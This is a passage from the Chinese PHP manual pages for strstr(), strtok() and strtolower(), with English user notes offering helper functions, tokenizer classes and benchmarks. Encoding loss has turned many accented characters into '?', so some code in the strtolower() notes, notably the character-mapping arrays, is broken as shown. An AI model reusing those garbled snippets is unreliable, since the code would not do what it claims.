 -   finally, it measures the segment's length and return it (i.e. length)

In other words it finds a span (only the first one) in the string that consists entirely form chars supplied in $chars_list and returns its length
B Crawford 02-Oct-2007 05:20
This function is significantly faster for checking illegal characters than the equivalent preg_match() method.


查找字符串的首次出现

  • ? strspn
  • strtok ?
  • PHP Manual
  • 字符串 函数
  • 查找字符串的首次出现

strstr

(PHP 4, PHP 5, PHP 7)

strstr — 查找字符串的首次出现

说明

strstr ( string $haystack , mixed $needle [, bool $before_needle = FALSE ] ) : string

返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。

Note:

该函数区分大小写。如果想要不区分大小写，请使用 stristr()。

Note:

如果你仅仅想确定 needle 是否存在于 haystack 中，请使用速度更快、耗费内存更少的 strpos() 函数。

参数

haystack

输入字符串。

needle

如果 needle 不是一个字符串，那么它将被转化为整型并且作为字符的序号来使用。

before_needle

若为 TRUE，strstr() 将返回 needle 在 haystack 中的位置之前的部分。

返回值

返回字符串的一部分或者 FALSE（如果未发现 needle）。

更新日志

版本 | 说明
5.3.0 | 新增可选的 before_needle 参数。
4.3.0 | strstr() 成为二进制安全的。

范例

Example #1 strstr() 范例

<?php
$email  = 'name@example.com';
$domain = strstr($email, '@');
echo $domain; // 打印 @example.com

$user = strstr($email, '@', true); // 从 PHP 5.3.0 起
echo $user; // 打印 name
?>

参见

  • preg_match() - 执行匹配正则表达式
  • stristr() - strstr 函数的忽略大小写版本
  • strpos() - 查找字符串首次出现的位置
  • strrchr() - 查找指定字符在字符串中的最后一次出现
  • substr() - 返回字符串的子串

User Contributed Notes

trent dot renshaw at objectst dot com dot au 25-Jun-2015 02:08
> root at mantoru dot de

PHP makes this easy for you. When working with domain portion of email addresses, simply pass the return of strstr() to substr() and start at 1:

substr(strstr($haystack, '@'), 1);
laszlo dot heredy at gmail dot com 07-Nov-2013 09:39
strstr() is not a way to avoid type-checking with strpos().

If $needle is the last character in $haystack, and testing $needle as a boolean by itself would evaluate to false, then testing strstr() as a boolean will evaluate to false (because, if successful, strstr() returns the first occurrence of $needle along with the rest of $haystack).

<?php
findZero('01234');  // found a zero
findZero('43210');  // did not find a zero
findZero('0');      // did not find a zero
findZero('00');     // found a zero
findZero('000');    // found a zero
findZero('10');     // did not find a zero
findZero('100');    // found a zero

function findZero($numberString) {
    if (strstr($numberString, '0')) {
        echo 'found a zero';
    } else {
        echo 'did not find a zero';
    }
}
?>

Also, strstr() is far more memory-intensive than strpos(), especially with longer strings as your $haystack, so if you are not interested in the substring that strstr() returns, you shouldn't be using it anyway.

There is no PHP function just to check only _if_ $needle occurs in $haystack; strpos() tells you if it _doesn't_ by returning false, but, if it does occur, it tells you _where_ it occurs as an integer, which is 0 (zero) if $needle is the first part of $haystack, which is why testing if (strpos($needle, $haystack)===false) is the only way to know for sure if $needle is not part of $haystack.

My advice is to start loving type checking immediately, and to familiarize yourself with the return value of the functions you are using.

Cheers.
xslidian at lidian dot info 21-Feb-2013 07:37
For those in need of the last occurrence of a string:

<?php
function strrstr($h, $n, $before = false) {
    $rpos = strrpos($h, $n);
    if($rpos === false) return false;
    if($before == false) return substr($h, $rpos);
    else return substr($h, 0, $rpos);
}
?>
gruessle at gmail dot com 20-Apr-2011 01:39
Been using this for years:

<?php
/**
*
* @author : Dennis T Kaplan
*
* @version : 1.0
* Date : June 17, 2007
* Function : reverse strstr()
* Purpose : Returns part of haystack string from start to the first occurrence of needle
* $haystack = 'this/that/whatever';
* $result = rstrstr($haystack, '/')
* $result == this
*
* @access public
* @param string $haystack, string $needle
* @return string
**/

function rstrstr($haystack,$needle)
    {
        return substr($haystack, 0,strpos($haystack, $needle));
    }
?>

You could change it to:
rstrstr ( string $haystack , mixed $needle [, int $start] )
<?php

function rstrstr($haystack,$needle, $start=0)
    {
        return substr($haystack, $start,strpos($haystack, $needle));
    }

?>
w3b_monk3y at yahoo dot com 20-Jan-2009 12:28
If you want to emulate strstr's new before_needle parameter pre 5.3 strtok is faster than using strpos to find the needle and cutting with substr. The amount of difference varies with string size but strtok is always faster.
brett dot jr dot alton at gmail dot com 25-Nov-2007 08:02
For the needle_before (first occurance) parameter when using PHP 5.x or less, try:

<?php
$haystack = 'php-homepage-20071125.png';
$needle = '-';
$result = substr($haystack, 0, strpos($haystack, $needle)); // $result = php
?>
root at mantoru dot de 10-Nov-2007 03:22
Please note that $needle is included in the return string, as shown in the example above. This ist not always desired behavior, _especially_ in the mentioned example. Use this if you want everything AFTER $needle.

<?php
function strstr_after($haystack, $needle, $case_insensitive = false) {
    $strpos = ($case_insensitive) ? 'stripos' : 'strpos';
    $pos = $strpos($haystack, $needle);
    if (is_int($pos)) {
        return substr($haystack, $pos + strlen($needle));
    }
    // Most likely false or null
    return $pos;
}

// Example
$email = 'name@example.com';
$domain = strstr_after($email, '@');
echo $domain; // prints example.com
?>
leo dot nard at free dot fr 24-May-2005 02:12
When encoding ASCII strings to HTML size-limited strings, sometimes some HTML special chars were cut.

For example, when encoding "??" to a string of size 10, you would get: "à&a" => the second character is cut.

This function will remove any unterminated HTML special characters from the string...

<?php
function cut_html($string)
{
    $a=$string;

    while ($a = strstr($a, '&'))
    {
        echo "'".$a."'\n";
        $b=strstr($a, ';');
        if (!$b)
        {
            echo "couper...\n";
            $nb=strlen($a);
            return substr($string, 0, strlen($string)-$nb);
        }
        $a=substr($a,1,strlen($a)-1);
    }
    return $string;
}
?>


标记分割字符串

  • ? strstr
  • strtolower ?
  • PHP Manual
  • 字符串 函数
  • 标记分割字符串

strtok

(PHP 4, PHP 5, PHP 7)

strtok — 标记分割字符串

说明

strtok ( string $str , string $token ) : string
strtok ( string $token ) : string

strtok() 将字符串 str 分割为若干子字符串，每个子字符串以 token 中的字符分割。这也就意味着，如果有个字符串是 "This is an example string"，你可以使用空格字符将这句话分割成独立的单词。

注意仅第一次调用 strtok 函数时使用 string 参数。后来每次调用 strtok，都将只使用 token 参数，因为它会记住它在字符串 string 中的位置。如果要重新开始分割一个新的字符串，你需要再次使用 string 来调用 strtok 函数，以便完成初始化工作。注意可以在 token 参数中使用多个字符。字符串将被该参数中任何一个字符分割。

参数

str

被分成若干子字符串的原始字符串。

token

分割 str 时使用的分界字符。

返回值

标记后的字符串。

范例

Example #1 strtok() 范例

<?php
$string = "This is\tan example\nstring";
/* 使用制表符和换行符作为分界符 */
$tok = strtok($string, " \n\t");

while ($tok !== false) {
    echo "Word=$tok<br />";
    $tok = strtok(" \n\t");
}
?>

Example #2 当存在空的部分时 strtok() 的反应

<?php
$first_token  = strtok('/something', '/');
$second_token = strtok('/');
var_dump($first_token, $second_token);
?>

以上例程会输出：

    string(9) "something"
    bool(false)

注释

Warning

此函数可能返回布尔值 FALSE，但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

参见

  • split() - 用正则表达式将字符串分割到数组中
  • explode() - 使用一个字符串分割另一个字符串

User Contributed Notes

heiangus at hotmail dot com 24-Jul-2019 06:04
I found this useful for parsing user entered links in text fields.

e.g. This is a link <http://example.com>

    function parselink($link) {
        $bit1 = trim(strtok($link, '<'));
        $bit2 = trim(strtok('>'));
        $html = '<a href="'.$bit2.'">'.$bit1.'</a>';
        return $html; // <a href="http://example.com">This is a link</a>
    }
charlie dot ded at orange dot fr 15-Nov-2016 01:41
@maisuma you invert paramaters of explode() and strtok() functions, your code does not do what you expect.
You expect to read the input string token after token so equivalent code for strtok() is  arra_filter(explode()) because explode() return lines of empty string when several delimiters are contiguous in the read string, for example  2 whitespaces between.

In fact strtok() is much faster (x2 at least) than arra_filter(explode()) if the read string contains several contiguous delimiters ,
 it is slower if the read string contains one and only one delimiter between tokens.

<?php

$repeat = 10;
$delimiter = ':';
$str=str_repeat('foo:',$repeat);

$timeStrtok=microtime(TRUE);
$token = strtok($str, $delimiter);
while($token!==FALSE){
    //echo $token . ',';
    $token=strtok($delimiter);
}
$timeStrtok -=microtime(TRUE);

$timeExplo=microtime(TRUE);
$arr = explode($delimiter, $str);
//$arr = array_filter($arr);
$timeExplo -=microtime(TRUE);

//print_r($arr);

$X = 1000000; $unit = 'microsec';

echo PHP_EOL . ' explode() : ' . -$timeExplo . ' ' .$unit .PHP_EOL . ' strtok() :   ' . -$timeStrtok . ' ' . $unit .PHP_EOL;

$timeExplo=round(-$timeExplo*$X);
$timeStrtok=round(-$timeStrtok*$X);

echo PHP_EOL . ' explode() : ' . $timeExplo . ' ' .$unit .PHP_EOL . ' strtok() :   ' . $timeStrtok . ' ' . $unit .PHP_EOL;
echo ' ratio explode / strtok : ' . round($timeExplo / $timeStrtok,1) . PHP_EOL;

?>
eep2004 at ukr dot net 06-Jan-2015 08:40
Remove GET variables from the URL
<?php
echo strtok('http://example.com/index.php?foo=1&bar=2', '?');
?>
Result:
http://example.com/index.php
eep2004 at ukr dot net 07-Oct-2014 10:01
Remove GET variables from the URL
<?php
$url = strtok('http://php.net/manual/en/ref.strings.php?foo=1&bar=2', '?');
// $url = 'http://php.net/manual/en/ref.strings.php'
info at maisuma dot jp 30-May-2014 08:15
If you want to tokenize by only one letter, explode() is much faster compared to strtok().

<?php
$str=str_repeat('foo ',10000);

//explode()
$time=microtime(TRUE);
$arr=explode($str,' ');
$time=microtime(TRUE)-$time;
echo "explode():$time sec.".PHP_EOL;

//strtok()
$time=microtime(TRUE);
$ret=strtok(' ',$str);
while($ret!==FALSE){
    $ret=strtok(' ');
}
$time=microtime(TRUE)-$time;
echo "strtok():$time sec.".PHP_EOL;

?>

The result is : (PHP 5.3.3 on CentOS)

explode():0.001317024230957 sec.
strtok():0.0058917999267578 sec.

explode() is about five times fast in short strings, too.
Axeia 11-Feb-2014 05:12
Might be pointing out the obvious but if you'd rather use a for loop rather than a while (to keep the token strings on the same line for readability for example), it can be done. Added bonus, it doesn't put a $tok variable outside the loop itself either.
Downside however is that you're not able to manually free up the memory used using the technique mentioned by elarlang.

<?php
for($tok = strtok($str, ' _-.'); $tok!==false; $tok = strtok(' _-.'))
{
  echo "$tok </br>";
}
?>
eep2004 at ukr dot net 18-Sep-2013 04:11
<?php
// strtok example
$str = 'Hello to all of Ukraine';
echo strtok($str, ' ').' '.strtok(' ').' '.strtok(' ');
?>
Result:
Hello to all
gilthans at NOSPAM dot gmail dot com 15-Jul-2012 06:47
Note that strtok may receive different tokens each time. Therefore, if, for example, you wish to extract several words and then the rest of the sentence:

<?php
$text = "13 202 5 This is a long message explaining the error codes.";
$error1 = strtok($text, " "); //13
$error2 = strtok(" "); //202
$error3 = strtok(" "); //5
$error_message = strtok(""); //Notice the different token parameter
echo $error_message; //This is a long message explaining the error codes.
?>
pradador at me dot com 13-May-2011 12:10
Here's a simple class that allows you to iterate through string tokens using a foreach loop.

<?php
/**
 * The TokenIterator class allows you to iterate through string tokens using
 * the familiar foreach control structure.
 *
 * Example:
 * <code>
 * <?php
 * $string = 'This is a test.';
 * $delimiters = ' ';
 * $ti = new TokenIterator($string, $delimiters);
 *
 * foreach ($ti as $count => $token) {
 *     echo sprintf("%d, %s\n", $count, $token);
 * }
 *
 * // Prints the following output:
 * // 0. This
 * // 1. is
 * // 2. a
 * // 3. test.
 * </code>
 */
class TokenIterator implements Iterator
{
    /**
     * The string to tokenize.
     * @var string
     */
    protected $_string;

    /**
     * The token delimiters.
     * @var string
     */
    protected $_delims;

    /**
     * Stores the current token.
     * @var mixed
     */
    protected $_token;

    /**
     * Internal token counter.
     * @var int
     */
    protected $_counter = 0;

    /**
     * Constructor.
     *
     * @param string $string The string to tokenize.
     * @param string $delims The token delimiters.
     */
    public function __construct($string, $delims)
    {
        $this->_string = $string;
        $this->_delims = $delims;
        $this->_token = strtok($string, $delims);
    }

    /**
     * @see Iterator::current()
     */
    public function current()
    {
        return $this->_token;
    }

    /**
     * @see Iterator::key()
     */
    public function key()
    {
        return $this->_counter;
    }

    /**
     * @see Iterator::next()
     */
    public function next()
    {
        $this->_token = strtok($this->_delims);

        if ($this->valid()) {
            ++$this->_counter;
        }
    }

    /**
     * @see Iterator::rewind()
     */
    public function rewind()
    {
        $this->_counter = 0;
        $this->_token   = strtok($this->_string, $this->_delims);
    }

    /**
     * @see Iterator::valid()
     */
    public function valid()
    {
        return $this->_token !== FALSE;
    }
}
?>
elarlang at gmail dot com 22-Mar-2011 10:45
If you have memory-usage critical solution, you should keep in mind, that strtok function holds input string parameter (or reference to it?) in memory after usage.

<?php
function tokenize($str, $token_symbols) {
    $word = strtok($str, $token_symbols);
    while (false !== $word) {
        // do something here...
        $word = strtok($token_symbols);
    }
}
?>
Test-cases with handling ~10MB plain-text file:
Case #1 - unset $str variable
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // mem usage 9.75383758545 MB (memory_get_usage() / 1024 / 1024));
tokenize($str, $token_symbols); // mem usage 9.75400161743 MB
unset($str); // 9.75395584106 MB
?>
Case #1 result: memory is still used

Case #2 - call strtok again
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // 9.75401306152 MB
tokenize($str, $token_symbols); // 9.75417709351
strtok('', ''); // 9.75421524048
?>
Case #2 result: memory is still used

Case #3 - call strtok again AND unset $str variable
<?php
$token_symbols = " \t\n";
$str = file_get_contents('10MB.txt'); // 9.75410079956 MB
tokenize($str, $token_symbols); // 9.75426483154 MB
unset($str);
strtok('', ''); // 0.0543975830078 MB
?>
Case #3 result: memory is free

So, better solution for tokenize function:
<?php
function tokenize($str, $token_symbols, $token_reset = true) {
    $word = strtok($str, $token_symbols);
    while (false !== $word) {
        // do something here...
        $word = strtok($token_symbols);
    }

    if($token_reset)
        strtok('', '');
}
?>
fabiolimasouto at gmail dot com 20-Nov-2010 05:54
this example will hopefully help you understand how this function works:

<?php
$selector = 'div.class#id';
$tagname = strtok($selector,'.#');
echo $tagname.'<br/>';

while($tok = strtok('.#'))
{
 echo $tok.'<br/>';
}

?>

Outputs:
div
class
id
benighted at gmail dot com 06-Nov-2009 06:47
Simple way to tokenize search parameters, including double or single quoted keys.  If only one quote is found, the rest of the string is assumed to be part of that token.

<?php
            $token = strtok($keywords,' ');
            while ($token) {
                // find double quoted tokens
                if ($token{0}=='"') { $token .= ' '.strtok('"').'"'; }
                // find single quoted tokens
                if ($token{0}=="'") { $token .= ' '.strtok("'")."'"; }

                $tokens[] = $token;
                $token = strtok(' ');
            }
?>

Use substr(1,strlen($token)) and remove the part that adds the trailing quotes if you want your output without quotes.
azeem 02-Sep-2009 12:14
Here is a java like StringTokenizer class using strtok function:

<?php

/**
 * The string tokenizer class allows an application to break a string into tokens.
 *
 * @example The following is one example of the use of the tokenizer. The code:
 * <code>
 * <?php
 *    $str = 'this is:@\t\n a test!';
 *    $delim = ' !@:'\t\n; // remove these chars
 *    $st = new StringTokenizer($str, $delim);
 *    while ($st->hasMoreTokens()) {
 *        echo $st->nextToken() . "\n";
 *    }
 *    prints the following output:
 *      this
 *      is
 *      a
 *      test
 * ?>
 * </code>
 */
class StringTokenizer {

    /**
     * @var string
     */
    private $token;

    /**
     * @var string
     */
    private $delim;
    /**
     * Constructs a string tokenizer for the specified string
     * @param string $str String to tokenize
     * @param string $delim The set of delimiters (the characters that separate tokens)
     * specified at creation time, default to ' '
     */
    public function __construct(/*string*/ $str, /*string*/ $delim = ' ') {
        $this->token = strtok($str, $delim);
        $this->delim = $delim;
    }

    public function __destruct() {
        unset($this);
    }

    /**
     * Tests if there are more tokens available from this tokenizer's string. It
     * does not move the internal pointer in any way. To move the internal pointer
     * to the next element call nextToken()
     * @return boolean - true if has more tokens, false otherwise
     */
    public function hasMoreTokens() {
        return ($this->token !== false);
    }

    /**
     * Returns the next token from this string tokenizer and advances the internal
     * pointer by one.
     * @return string - next element in the tokenized string
     */
    public function nextToken() {
        $current = $this->token;
        $this->token = strtok($this->delim);
        return $current;
    }
}
?>
yanick dot rochon at gmail dot com 15-Jun-2009 09:37
Here is a small function I wrote as I needed to extract some named tokens from a string (a la Google). For example, I needed to format a string like "extension:gif size:64M animated:true author:'John Bash'" into

array(
  'extension' => 'gif',
  'size' => '64M',
  'animated' => true,
  'author' => 'John Bash'
)

So, here's the code:

<?php

header('Content-type: text/plain; CHARSET=gb2312');

/**
 * NOTE : use mbstring.func_overload for multi-byte support with this function
 *
 * @param string $string             the string to tokenize
 * @param int $offset                the starting offset
 * @param string $defaultTokenName   the default token name if none specified
 * @param string $groupDelimiters    the characters to delimit token groups
 * @param string $groupNameDelimiter the character(s) to delimit token group names
 * @return array
 */
function getTokens(
        $string,
        $offset = 0,
        $defaultTokenName = null,
        $groupDelimiters = '\'"',
        $groupNameDelimiter = ':')
{

    if ($offset >= strlen($string)) {
        //echo "offset out of range";
        return false;
    }

    $spaces = " \t\n\r";   // space characters

    // add group delimiters to spaces...
    $groupSpaces = $spaces . $groupNameDelimiter;
    $delimiters = $groupSpaces . $groupDelimiters;

    //var_dump($groupSpaces);

    $string = ltrim(substr($string, $offset), $groupSpaces);
    $token_strings = array();

    //echo "String is : " . $string . "\n";

    // 1. split all tokens...
    while ($offset < strlen($string)) {
        $lastOffset = $offset;
        $escaped = false;

        if (false !== strpos($groupDelimiters, $char = $string[$offset])) {
            $groupChar = $char;
        } else {
            $groupChar = null;
        }

        if (null !== $groupChar) {
            while (($offset < strlen($string)) && (($groupChar !== ($char = $string[++$offset])) || $escaped)) {
                //$offset++;
                $escaped = ('\\' === $char);
            }
            $offset++;
            //echo "*** Grouped : " . substr($string, $lastOffset, $offset - $lastOffset) . "\n";
        } else {
            while (($offset < strlen($string)) && ((false === strpos($delimiters, $char = $string[$offset])) || $escaped)) {
                $offset++;
                $escaped = ('\\' === $char);
            }
            //echo "*** Non-group : " . substr($string, $lastOffset, $offset - $lastOffset) . "\n";
        }
        //skip spaces...
        while (($offset < strlen($string)) && ((false !== strpos($groupSpaces, $char = $string[$offset])) || $escaped)) {
            $offset++;
            $escaped = ('\\' === $char);
        }

        $token_strings[] = substr($string, $lastOffset, $offset - $lastOffset);
        //echo "Next token = '" . end($token_strings) . "'\n";
    }

    $tokens = array();
    $tokenName = null;
    foreach ($token_strings as $token_str) {
        // clean $token_str
        $token_str = trim(stripslashes($token_str), $spaces);
        $str_value = trim($token_str, $delimiters);
        switch (strtolower($str_value)) {
            case 'true': $str_value = true; break;
            case 'false': $str_value = false; break;
            default: break;
        }

        // is it a token name?
        if (':' === substr($token_str, -1, 1)) {
            if (!empty($tokenName)) {
                $tokens[$tokenName] = '';
            }
            $tokenName = trim($token_str, $delimiters);
        } else {
            if (!empty($tokenName)) {
                if (isset($tokens[$tokenName])) {
                    $tokens[$tokenName] = array(
                        $tokens[$tokenName],
                        $str_value
                    );
                } else {
                    $tokens[$tokenName] = $str_value;
                }
                $tokenName = null;
            } elseif (empty($defaultTokenName)) {
                $tokens[] = trim($token_str, $delimiters);;
            } else {
                if (isset($tokens[$defaultTokenName])) {
                    $tokens[$defaultTokenName] = array(
                        $tokens[$defaultTokenName],
                        $str_value
                    );
                } else {
                    $tokens[$defaultTokenName] = $str_value;
                }
            }
        }
    }
    if (!empty($tokenName)) {
        $tokens[$tokenName] = '';
    }

    return $tokens;
}

$str = "check1: test "
     . "check2:'hello world' "
     . 'check3: "foo" '
     . "check4: \\\"try this\\\""
     . '"buz" '
     . 'check1:true';

?>
KrazyBox 06-Mar-2009 06:11
As of the change in strtok()'s handling of empty strings, it is now useless for scripts that rely on empty data to function.

Take for instance, a standard header. (with UNIX newlines)

http/1.0 200 OK\n
Content-Type: text/html\n
\n
--HTML BODY HERE---

When parsing this with strtok, one would wait until it found an empty string to signal the end of the header. However, because strtok now skips empty segments, it is impossible to know when the header has ended.
This should not be called `correct' behavior, it certainly is not. It has rendered strtok incapable of (properly) processing a very simple standard.

This new functionality, however, does not affect Windows style headers. You would search for a line that only contains "\r"
This, however, is not a justification for the change.
Logikos 03-Jan-2009 10:12
This looks very simple, but it took me a long time to figure out so I thought I'd share it incase someone else was wanting the same thing:

this should work similar to substr() but with tokens instead!

<?php
/* subtok(string,chr,pos,len)
 *
 * chr = chr used to seperate tokens
 * pos = starting postion
 * len = length, if negative count back from right
 *
 *  subtok('a.b.c.d.e','.',0)     = 'a.b.c.d.e'
 *  subtok('a.b.c.d.e','.',0,2)   = 'a.b'
 *  subtok('a.b.c.d.e','.',2,1)   = 'c'
 *  subtok('a.b.c.d.e','.',2,-1)  = 'c.d'
 *  subtok('a.b.c.d.e','.',-4)    = 'b.c.d.e'
 *  subtok('a.b.c.d.e','.',-4,2)  = 'b.c'
 *  subtok('a.b.c.d.e','.',-4,-1) = 'b.c.d'
 */
function subtok($string,$chr,$pos,$len = NULL) {
  return implode($chr,array_slice(explode($chr,$string),$pos,$len));
}
?>

explode breaks the tokens up into an array, array slice alows you to pick then tokens you want, and then implode converts it back to a string

although its far from a clone, this was inspired by mIRC's gettok() function
mac.com@nemo 18-Feb-2006 01:49
This function takes a string and returns an array with words (delimited by spaces), also taking into account quotes, doublequotes, backticks and backslashes (for escaping stuff).
So

$string = "cp   'my file' to `Judy's file`";
var_dump(parse_cli($string));

would yield:

array(4) {
  [0]=>
  string(2) "cp"
  [1]=>
  string(7) "my file"
  [2]=>
  string(5) "to"
  [3]=>
  string(11) "Judy's file"
}

Way it works, runs through the string character by character, for each character looking up the action to take, based on that character and its current $state.
Actions can be (one or more of) adding the character/string to the current word, adding the word to the output array, and changing or (re)storing the state.
For example a space will become part of the current 'word' (or 'token') if $state is 'doublequoted', but it will start a new token if $state was 'unquoted'.
I was later told it's a "tokeniser using a finite state automaton". Who knew :-)

<?php

#_____________________
# parse_cli($string) /
function parse_cli($string) {
    $state = 'space';
    $previous = '';     // stores current state when encountering a backslash (which changes $state to 'escaped', but has to fall back into the previous $state afterwards)
    $out = array();     // the return value
    $word = '';
    $type = '';         // type of character
    // array[states][chartypes] => actions
    $chart = array(
        'space'        => array('space'=>'',   'quote'=>'q',  'doublequote'=>'d',  'backtick'=>'b',  'backslash'=>'ue', 'other'=>'ua'),
        'unquoted'     => array('space'=>'w ', 'quote'=>'a',  'doublequote'=>'a',  'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'quoted'       => array('space'=>'a',  'quote'=>'w ', 'doublequote'=>'a',  'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'doublequoted' => array('space'=>'a',  'quote'=>'a',  'doublequote'=>'w ', 'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'backticked'   => array('space'=>'a',  'quote'=>'a',  'doublequote'=>'a',  'backtick'=>'w ', 'backslash'=>'e',  'other'=>'a'),
        'escaped'      => array('space'=>'ap', 'quote'=>'ap', 'doublequote'=>'ap', 'backtick'=>'ap', 'backslash'=>'ap', 'other'=>'ap'));
    for ($i=0; $i<=strlen($string); $i++) {
        $char = substr($string, $i, 1);
        $type = array_search($char, array('space'=>' ', 'quote'=>'\'', 'doublequote'=>'"', 'backtick'=>'`', 'backslash'=>'\\'));
        if (! $type) $type = 'other';
        if ($type == 'other') {
            // grabs all characters that are also 'other' following the current one in one go
            preg_match("/[ \'\"\`\\\]/", $string, $matches, PREG_OFFSET_CAPTURE, $i);
            if ($matches) {
                $matches = $matches[0];
                $char = substr($string, $i, $matches[1]-$i); // yep, $char length can be > 1
                $i = $matches[1] - 1;
            }else{
                // no more match on special characters, that must mean this is the last word!
                // the .= hereunder is because we *might* be in the middle of a word that just contained special chars
                $word .= substr($string, $i);
                break; // jumps out of the for() loop
            }
        }
        $actions = $chart[$state][$type];
        for($j=0; $j<strlen($actions); $j++) {
            $act = substr($actions, $j, 1);
            if ($act == ' ') $state = 'space';
            if ($act == 'u') $state = 'unquoted';
            if ($act == 'q') $state = 'quoted';
            if ($act == 'd') $state = 'doublequoted';
            if ($act == 'b') $state = 'backticked';
            if ($act == 'e') { $previous = $state; $state = 'escaped'; }
            if ($act == 'a') $word .= $char;
            if ($act == 'w') { $out[] = $word; $word = ''; }
            if ($act == 'p') $state = $previous;
        }
    }
    if (strlen($word)) $out[] = $word;
    return $out;
}

?>
manicdepressive at mindless dot com 19-Jun-2004 06:01
<pre><?php
/** get leading, trailing, and embedded separator tokens that were 'skipped'
if for some ungodly reason you are using php to implement a simple parser that
needs to detect nested clauses as it builds a parse tree */

$str = "(((alpha(beta))(gamma))";

$seps = '()';
$tok = strtok( $str,$seps ); // return false on empty string or null
$cur = 0;
$dumbDone = FALSE;
$done = (FALSE===$tok);
while (!$done) {
   // process skipped tokens (if any at first iteration) (special for last)
   $posTok = $dumbDone ? strlen($str) : strpos($str, $tok, $cur );
   $skippedMany = substr( $str, $cur, $posTok-$cur ); // false when 0 width
   $lenSkipped = strlen($skippedMany); // 0 when false
   if (0!==$lenSkipped) {
      $last = strlen($skippedMany) -1;
      for($i=0; $i<=$last; $i++){
         $skipped = $skippedMany[$i];
         $cur += strlen($skipped);
         echo "skipped: $skipped\n";
      }
   }
   if ($dumbDone) break; // this is the only place the loop is terminated

   // process current tok
   echo "curr tok: ".$tok."\n";

   // update cursor
   $cur += strlen($tok);

   // get any next tok
   if (!$dumbDone){
      $tok = strtok($seps);
      $dumbDone = (FALSE===$tok);
      // you're not really done till you check for trailing skipped
   }
};
?></pre>


将字符串转化为小写

  • ? strtok
  • strtoupper ?
  • PHP Manual
  • 字符串 函数
  • 将字符串转化为小写

strtolower

(PHP 4, PHP 5, PHP 7)

strtolower — 将字符串转化为小写

说明

strtolower ( string $string ) : string

将 string 中所有的字母字符转换为小写并返回。

注意 "字母" 与当前所在区域有关。例如，在默认的 "C" 区域，字符 umlaut-A（?）就不会被转换。

参数

string

输入字符串。

返回值

返回转换后的小写字符串。

范例

Example #1 strtolower() 范例

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtolower($str);
echo $str; // 打印 mary had a little lamb and she loved it so
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • strtoupper() - 将字符串转化为大写
  • ucfirst() - 将字符串的首字母转换为大写
  • ucwords() - 将字符串中每个单词的首字母转换为大写
  • mb_strtolower() - 使字符串小写

User Contributed Notes

Daniel Klein 07-May-2016 10:33
When the locale is set to "utf8" or "C" I can't get strtolower() to convert accented characters encoded as UTF-8, so here is my workaround.

<?php
function tolower($string) {
  if ($old_locale = setlocale(LC_CTYPE, 0)) {
    // 'fr_FR.ISO-8859-1' for *nix, 'French_France.1252' fallback for Windows
    if ($newlocale = setlocale(LC_CTYPE, 'fr_FR.ISO-8859-1', 'French_France.1252')) {
      preg_match('/\.(?<encoding>.+)$/', $newlocale, $match);
      $string = utf8_encode(strtolower(utf8_decode($string)));
    }
    setlocale(LC_CTYPE, $old_locale);
  }
  return $string;
}

print(tolower('DéJà-VU'));  // prints déjà-vu
?>

Change the language-country codes if you want some language other than French.
helvete at bahno dot net 26-Nov-2014 01:05
It is worth noting that
<?php
var_dump(strtolower(null))
?>
returns:
string(0) ""
RCube 31-Mar-2011 04:57
To convert an entire array to lower, I prefer this method;

<?php
function arraytolower(array $array, $round = 0){
  return unserialize(strtolower(serialize($array)));
}
?>

3 lines of code seem a lot less overhead than 10-40.
If there's any intrinsic problem with this method, please post it.
marcin at maydesign dot pl 22-Jun-2010 03:16
strtolower(); doesn't work for polish chars

<?php strtolower("m?kA"); ?>
will return: m?ka;

the best solution - use mb_strtolower()

<?php mb_strtolower("m?kA",'UTF-8'); ?>
will return: m?ka
leha_grobov 25-Jun-2009 08:03
the strtolower version to support most amount of languages including russian, french and so on:

<?php
function strtolower_utf8($string){
  $convert_to = array(
    "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u",
    "v", "w", "x", "y", "z", "à", "á", "a", "?", "?", "?", "?", "?", "è", "é", "ê", "?", "ì", "í", "?", "?",
    "e", "?", "ò", "ó", "?", "?", "?", "?", "ù", "ú", "?", "ü", "y", "а", "б", "в", "г", "д", "е", "ё", "ж",
    "з", "и", "й", "к", "л", "м", "н", "о", "п", "р", "с", "т", "у", "ф", "х", "ц", "ч", "ш", "щ", "ъ", "ы",
    "ь", "э", "ю", "я"
  );
  $convert_from = array(
    "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U",
    "V", "W", "X", "Y", "Z", "à", "á", "?", "?", "?", "?", "?", "?", "è", "é", "ê", "?", "ì", "í", "?", "?",
    "D", "?", "ò", "ó", "?", "?", "?", "?", "ù", "ú", "?", "ü", "Y", "А", "Б", "В", "Г", "Д", "Е", "Ё", "Ж",
    "З", "И", "Й", "К", "Л", "М", "Н", "О", "П", "Р", "С", "Т", "У", "Ф", "Х", "Ц", "Ч", "Ш", "Щ", "Ъ", "Ъ",
    "Ь", "Э", "Ю", "Я"
  );

  return str_replace($convert_from, $convert_to, $string);
}
?>
coder at bulgaria dot bg 03-Apr-2009 04:08
for cyrillic and UTF 8 use  mb_convert_case

exampel

<?php
$string = "Австралия";
$string = mb_convert_case($string, MB_CASE_LOWER, "UTF-8");
echo $string;

//output is: австралия
?>
dbers26 at gmail dot com 07-Jan-2009 01:34
the function  arraytolower will create duplicate entries since keys are case sensitive.

<?php
$array = array('test1' => 'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh');

$array = arraytolower($array);
?>
/*
Array
(
    [test1] => asgafasdaad
    [TEST2] => ASddhshsDGb
    [TeSt3] => asdasda@asdadadASDASDgh
    [test2] => asddhshsdgb
    [test3] => asdasda@asdadadasdasdgh
)
*/

I prefer this method

<?php
  function arraytolower($array, $include_leys=false) {

    if($include_leys) {
      foreach($array as $key => $value) {
        if(is_array($value))
          $array2[strtolower($key)] = arraytolower($value, $include_leys);
        else
          $array2[strtolower($key)] = strtolower($value);
      }
